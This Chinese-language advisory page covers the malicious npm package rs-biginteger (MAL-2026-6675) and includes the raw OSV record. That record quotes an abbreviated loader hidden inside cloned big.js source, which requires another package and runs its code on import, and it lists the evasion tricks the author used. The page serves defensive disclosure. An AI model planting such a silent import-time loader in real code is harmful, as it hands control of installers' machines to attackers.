目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

rs-biginteger

MAL-2026-6675
2026-07-09 22:58:22
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in rs-biginteger (npm)

凭据/密钥窃取
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
3
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmrs-biginteger*
npmrs-biginteger6.1.3
npmrs-biginteger6.1.5
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-09T22:58:22Z","published":"2026-06-30T14:10:13Z","schema_version":"1.7.4","id":"MAL-2026-6675","aliases":["GHSA-xm5w-w96q-42f3"],"summary":"Malicious code in rs-biginteger (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (796cb1ee4c8398963dcc192d2fc9b425866f40f7a99b467cba1d160234508617)\nPackage presents itself as a big-integer arithmetic library and ships the verbatim big.js v7.0.1 source plus its README. Injected between the `P.minus` and `P.mod` method definitions in both big.js and big.mjs is a loader: `try { const doc = require(\"ts-lint-builders\"); doc.from_str().then(...) } catch (error) {}`. On every `require('rs-biginteger')` / ESM import, the module top-level resolves `ts-lint-builders` and invokes its `from_str()` function, executing third-party code chosen by this author at load time. The package's declared dependency is `ts-lint-builders-v2.1@2.1.0` — a name mismatch with the require target, indicating the attacker controls the resolution path into the installer's dependency graph. The empty try/catch silently swallows any failure, concealing the behavior from casual inspection. The loader's placement mid-file inside cloned legitimate source, the cover-story package name impersonating big.js/big-integer, the duplicated payload in both CommonJS and ESM entry points, and the silent error swallowing are deliberate evasion patterns. Installers expecting a pure-math library instead load and execute arbitrary attacker-chosen code on every import.\n\n## Source: ghsa-malware (c4c6d1869f82f8162a8219a520ad9e885e55e925ee006a503f657083120c78ee)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"rs-biginteger"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["6.1.5","6.1.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"big.js","sha256":"7d3c7d774ce3d9231e144c52830418ee9a38e7fd6f1c7d9f5c83c882ab8485ad","tlsh":"cdc2658c3ac67579593363788f465088eb38525712c8b186b4ae63b46f78cb107b5fdc"},{"path":"package.json","sha256":"113c54266356396d3943dc1a9e03b17f6b952031c0af544c8183d653aa65b4b4","tlsh":"fa21f263c9a09ea70af85b94786c43aaf1161b2f41a08c5bb07b230c4f3355b2195bbd"}]}}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xm5w-w96q-42f3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rs-biginteger/v/6.1.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/rs-biginteger/v/6.1.3"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"ghsa-malware","sha256":"c4c6d1869f82f8162a8219a520ad9e885e55e925ee006a503f657083120c78ee","import_time":"2026-06-30T15:09:17.675248559Z","id":"GHSA-xm5w-w96q-42f3","modified_time":"2026-06-30T14:10:13Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"amazon-inspector","sha256":"983883a1a8bbd732c686abf6c6298425952625aaf4de72ab2a862b26a98a54f4","import_time":"2026-07-09T17:19:30.689724776Z","id":"IN-MAL-2026-009374","modified_time":"2026-07-09T17:02:54Z","versions":["6.1.5"]},{"source":"amazon-inspector","sha256":"796cb1ee4c8398963dcc192d2fc9b425866f40f7a99b467cba1d160234508617","import_time":"2026-07-09T22:56:34.409571917Z","id":"IN-MAL-2026-009560","modified_time":"2026-07-09T22:13:35Z","versions":["6.1.3"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0